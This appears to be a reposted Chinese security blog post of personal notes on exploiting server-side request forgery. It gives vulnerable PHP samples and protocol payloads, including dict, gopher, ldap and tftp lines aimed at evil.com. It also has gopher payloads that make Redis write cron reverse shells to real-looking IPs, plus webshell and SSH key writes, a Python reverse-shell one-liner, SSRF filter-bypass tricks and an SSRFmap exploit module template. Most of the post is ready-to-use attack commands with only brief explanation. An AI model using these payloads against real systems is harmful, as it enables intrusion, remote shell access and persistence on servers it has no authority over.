SSRF漏洞攻擊利用從淺到深


梳理一下ssrf

不詳細 簡單記錄 

0x01 SSRF成因和基本利用
0x02 內網打未授權redis
0x03 關於ssrf打授權的redis
0x04 寫redis shell和密鑰的一點問題
0x05 SSRF Bypass
0x06 SSRFmap

last

 

 

 

0x01 SSRF成因和基本利用

 

php vul function:

file_get_contents()
fsockopen()
curl_exec()
readfile()

 

 

example:

<?php
function curl($url){
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_HEADER, 0); 
                curl_exec($ch);
                curl_close($ch); 
}
$url = $_GET['url'];
curl($url);
?>
<?php
function Getfile($host, $port, $link){
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
    if(!$fp){
        echo "$errstr (error number $errno) \n";
    }else{
        $out = "GET $link HTTP/1.1\r\n";
        $out .= "HOST $host \r\n";
        $out .= "Connection: Close\r\n\r\n";
        $out .= "\r\n";
        fwrite($fp, $out);
        $content = '';
        while(!feof($fp)){
            $contents .= fgets($fp, 1024);
        }
        fclose($fp);
        return $contents;
    }
}
$url = $_GET['url'];
echo file_get_contents($url);

 

功能:

內網探測服務banner

file讀文件

內網配合其他服務getshell

 

協議:

 

file:///
dict://
sftp://
ldap://
tftp://
gopher://


File

url=file:///etc/passwd
url=file:///C:/Windows/win.ini

dict:// -

http://example.com/ssrf.php?dict://etc/passwd

 

sftp:// -
Sftp代表SSH文件傳輸協議,或安全文件傳輸協議,是SSH的內含協議,在安全連接上與SSH類似。

http://example.com/ssrf.php?url=sftp://evil.com:1337/

ldap:// or ldaps:// or ldapi:// -
LDAP代表輕量級目錄訪問協議。它是一種通過IP網絡管理和訪問分布式目錄信息服務的應用協議。

url=ldap://localhost:1337/%0astats%0aquit
url=ldaps://localhost:1337/%0astats%0aquit
url=ldapi://localhost:1337/%0astats%0aquit
tftp:// -
簡單文件傳輸協議是一種簡單的鎖步文件傳輸協議,它允許客戶端從遠程主機獲取文件或將文件放到遠程主機上。

url=tftp://evil.com:1337/TESTUDPPACKET

gopher:// -
Gopher是一種分布式的文檔傳遞服務。它允許用戶以無縫的方式探索、搜索和檢索駐留在不同位置的信息。

url=http://attacker.com/gopher.php

 

 

 

 

 

 

 

 

 

 

 

 

關鍵字地方字典fuzz即可

 

 

 

 

 

 

 

 

0x02 內網打未授權redis

在基礎鏡像加corntab

FROM python:3.6-slim
MAINTAINER whx3000 <wanghaoxi3000@163.com>

RUN apt-get update && \
    apt-get install -y --no-install-recommends \
    cron && \
    rm -rf /var/lib/apt/lists/* && \
    apt-get clean

RUN chmod +x ./docker-entrypoint.sh

ENV LC_ALL C.UTF-8
ENTRYPOINT ["./docker-entrypoint.sh"]

docker-entrypoint.sh

#!/bin/bash
set -x

env >> /etc/default/locale
/etc/init.d/cron start

 

build即可。

 

 

不一定使用gopher協議   curl要二次編碼

dict 
curl -vvv 'dict://127.0.0.1:6379/info'

# file
curl -vvv 'file:///etc/passwd'

# gopher 
curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

 

 

 

 

webshell:

redis-cli -h 127.0.0.1 flushall
redis-cli -h 127.0.0.1 config set dir /var/www
redis-cli -h 127.0.0.1 config set dbfilename shell.php
redis-cli -h 127.0.0.1 set webshell "<?php phpinfo();?>"
redis-cli -h 127.0.0.1 save
curl -v 'http://xxx.xxx.xx.xx/xx.php?url=
gopher://xxxx:6379/
_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'

 

_POST /demo1.php HTTP/1.1
Host: 192.168.17.132
User-Agent: curl/7.42.0
Accept: */*
Content-Type: application/x-www-form-urlencoded

cmd=ccccc

bash -i >& /dev/tcp/192.168.17.158/2333 0>&1

 

反彈shell

redis-cli.exe -h 192.168.18.138
config set dir /var/spool/cron
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.15.3/5555 0>&1\n\n\n"
config set dbfilename root
save
dict://serverip:port/cmd:param

/xx.php?url=dict://172.21.0.2:6379/info
/xx.php?url=dict://172.21.0.2:6379/get:user
/xx.php?url=dict://172.21.0.2:6379/flushall

 

 

寫密鑰:

127.0.0.1:6379> config set dir /root/.ssh
OK
127.0.0.1:6379> config set dbfilename authorized_keys
OK
127.0.0.1:6379> set 1 "\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsJ4pbjXL5KnnX/FP6sZORaT3N8/A6SEYv23VfrIVoPdOCBVD98O+RExVWCe8Iknwzx3w1Hm2uWnB6i6AtCnIji3yz16HIPryzoLE65xN4Z2vGXZk2YmOuRtqFPKPk/QCdf1Vxh6lwLZRo2msYEK/+mziOrmYy1UzwqLxfl1uNYVYTs2jHGBEikPwA7FAt5ZVRRBhzDnn8dyT201FOwR/fpukiXbaevZU2/iyW+Qu9ssaZMJMpRzautNuZLxCmV9TfuP0NbsgCBHj1nOMf3BUQNXUtE4aCRP0gHbs18Wvpx5ryWyl/NWWQADOY2dMHMWuTtCxLSrfY/q+H8l+JGdQpw==\n\n"
OK
127.0.0.1:6379> save

 

 

 

 

 

 

 

 

 

0x03 關於ssrf打授權的redis

官網:

https://redis.io/topics/protocol

  

 使用RESP協議

  • 客戶端向Redis服務器發送一個僅由Bulk Strings組成的RESP Arrays。
  • Redis服務器回復發送任何有效RESP數據類型作為回復的客戶端。

Bulk Strings用於表示長度最大為512 MB的單個二進制安全字符串,按以下方式編碼:

  • 一個$字節后跟組成字符串的字節數(一個前綴長度),由CRLF終止。

 

現在數據包中的每一行數據就好理解了。每一個*number代表每一行命令,number代表每行命令中數組中的元素個數。$number代表每個元素的長度。

*1
$8
flushall
*3
$3
set
$1
1
$22


<?php phpinfo();?>


*4
$6
config
$3
set
$3
dir
$4
/tmp
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

 

認證:

sed -i 's/#requirepass 123123/requirepass 123123/g' /etc/redis.conf

 

 

 

 

認證傳遞的字符數組

*2
$4
AUTH
$6
123123

 

官網對於命令的說明

Request-Response model.
A client can use the same connection in order to issue multiple commands. Pipelining is supported so multiple commands can be sent with a single write operation by the client, without the need to read the server reply of the previous command before issuing the next one. All the replies can be read at the end..

 

Redis客戶端支持管道操作,可以通過單個寫入操作發送多個命令,而無需在發出下一個命令之前讀取上一個命令的服務器回復。所有的回復都可以在最后閱讀。

這也是Redis在認證情況下依然可以被攻擊到原因。

重新構造數據包

%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A

 

 

 

 

 

 

0x04 寫redis shell和密鑰的一點問題

折騰了很久  不想說太多 

root@ax9a2j9sajxa9:/var/spool/cron/crontabs# ll
total 12
drwx-wx--T 2 root crontab 40236 Dec  5 18:43 ./
drwxr-xr-x 3 root root    4092 Dec  3 17:57 ../
-rw------- 1 root crontab 1341 Dec  3 06:47 root
root@fe8fb94b7fb1:/etc# ll crontab 
-rw-r--r-- 1 root root 743 Apr  5  20169crontab

 

需要root起起來才可以  docker里默認redis。寫計划error

py 

1
* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

 

bash:

*/1 * * * * /bin/bash -i >& /dev/tcp/xxxx/12345 0>&1

 

關於payload被截斷

 

get 1
"* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
127.0.0.1:6379> save
OK
00000000: 5245 4449 5330 3030 36fe 0000 c001 c340  REDIS0006......@
00000010: c440 fb02 2a20 2aa0 011f 2f75 7372 2f62  .@..* *.../usr/b
00000020: 696e 2f70 7974 686f 6e20 2d63 2027 696d  in/python -c 'im
00000030: 706f 7274 2073 6f63 6b65 1574 2c73 7562  port socke.t,sub
00000040: 7072 6f63 6573 732c 6f73 2c73 7973 3b73  process,os,sys;s
00000050: 3d80 1a00 2e80 0600 2880 0608 2e41 465f  =.......(....AF_
00000060: 494e 4554 2ca0 0e1f 534f 434b 5f53 5452  INET,...SOCK_STR
00000070: 4541 4d29 3b73 2e63 6f6e 6e65 6374 2828  EAM);s.connect((
00000080: 2231 3135 2e32 382e 0737 382e 3136 222c  "115.28..78.16",
00000090: 3620 0019 2929 3b6f 732e 6475 7032 2873  6 ..));os.dup2(s
000000a0: 2e66 696c 656e 6f28 292c 3029 3b20 e00a  .fileno(),0); ..
000000b0: 1600 31e0 0d16 0432 293b 703d e001 ab07  ..1....2);p=....
000000c0: 2e63 616c 6c28 5b22 60db 0b73 6822 2c22  .call(["`..sh","
000000d0: 2d69 225d 293b 27ff 8c5e 76ca 1e73 7b64  -i"]);'..^v..s{d

 

寫入ssh authorized_keys 沒被截斷

 

ssh 的問題:

 

目錄 權限問題 

 

authorized key 600 權限   ssh目錄700權限

 

 

 

目標需要開啟ssh  允許RSA認證

 

 

還有的就是路徑問題:

 

 

 最后就是curl寫shell時候  ; ? 需要編碼。

 

 

 

 

 

 

 

 

0x05 SSRF Bypass

http://127.0.0.1:80

http://localhost:22

http://[::]:80/ >>> http://127.0.0.1

http://example.com@127.0.0.1

127。0。0。1 >>> 127.0.0.1

短地址

http://dwz.cn/11SMa >>> http://127.0.0.1

 

 

特殊地址

利用的原理是DNS解析

 

http://127.0.0.1.xip.io/

http://www.owasp.org.127.0.0.1.xip.io/

 

 

 

字符集

ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com

List:

① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳

⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇

⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛

⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵

Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ

ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ

⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴

⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

 

 

 

 

進制

可以是十六進制,八進制等。

115.239.210.26 >>> 16373751032

首先把這四段數字給分別轉成16進制,結果:73 ef d2 1a

然后把 73efd21a 這十六進制一起轉換成8進制

記得訪問的時候加0表示使用八進制(可以是一個0也可以是多個0 跟XSS中多加幾個0來繞過過濾一樣),十六進制加0x

http://127.0.0.1 >>> http://0177.0.0.1/

http://127.0.0.1 >>> http://2130706433/

 

http://192.168.0.1 >>> http://3232235521/

http://192.168.1.1 >>> http://3232235777/

 

 

 

 

 

 

 

0x06 SSRFmap

 

 

 

 

 

 

 

使用模版改腳本:

from core.utils import *

import logging

 

name          = "servicename inlowercase"

description   = "ServiceName RCE - What does itdo"

author        = "Name or pseudo of theauthor"

documentation= ["http://link_to_a_research", "http://another_link"]

 

class exploit():

    SERVER_HOST = "127.0.0.1"

    SERVER_PORT = "4242"

 

    def __init__(self, requester, args):

        logging.info("Module '{}' launched!".format(name))

 

        # Handle args for reverse shell

        if args.lhost == None: self.SERVER_HOST= input("Server Host:")

        else:                  self.SERVER_HOST = args.lhost

 

        if args.lport == None: self.SERVER_PORT= input("Server Port:")

        else:                  self.SERVER_PORT = args.lport

 

        # Data for the service

        # Using a generator to create the hostlist

        # Edit the following ip if you need totarget something else

        gen_host =gen_ip_list("127.0.0.1", args.level)

        for ip in gen_host:

            port = "6379"

            data ="*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"

            payload = wrapper_gopher(data, ip ,port)

 

            # Handle args for reverse shell

            payload = payload.replace("SERVER_HOST",self.SERVER_HOST)

            payload =payload.replace("SERVER_PORT", self.SERVER_PORT)

 

            # Send the payload

            r =requester.do_request(args.param, payload)

 

 

 

DZ EXample

 

http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg%3D1%2C1%5Dhttp%3A%2f%2f127.0.0.1%3A9999%2fgopher.php%3Fa.jpg%5B%2fimg%5D

gopher.php 

<?php
header("Location: gopher://127.0.0.1:2333/_test");
?>

 

 其他:

 

 

 

  

 

最近自己得控制熬夜通宵了,別猝死了。

 

tip:多喝熱水 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM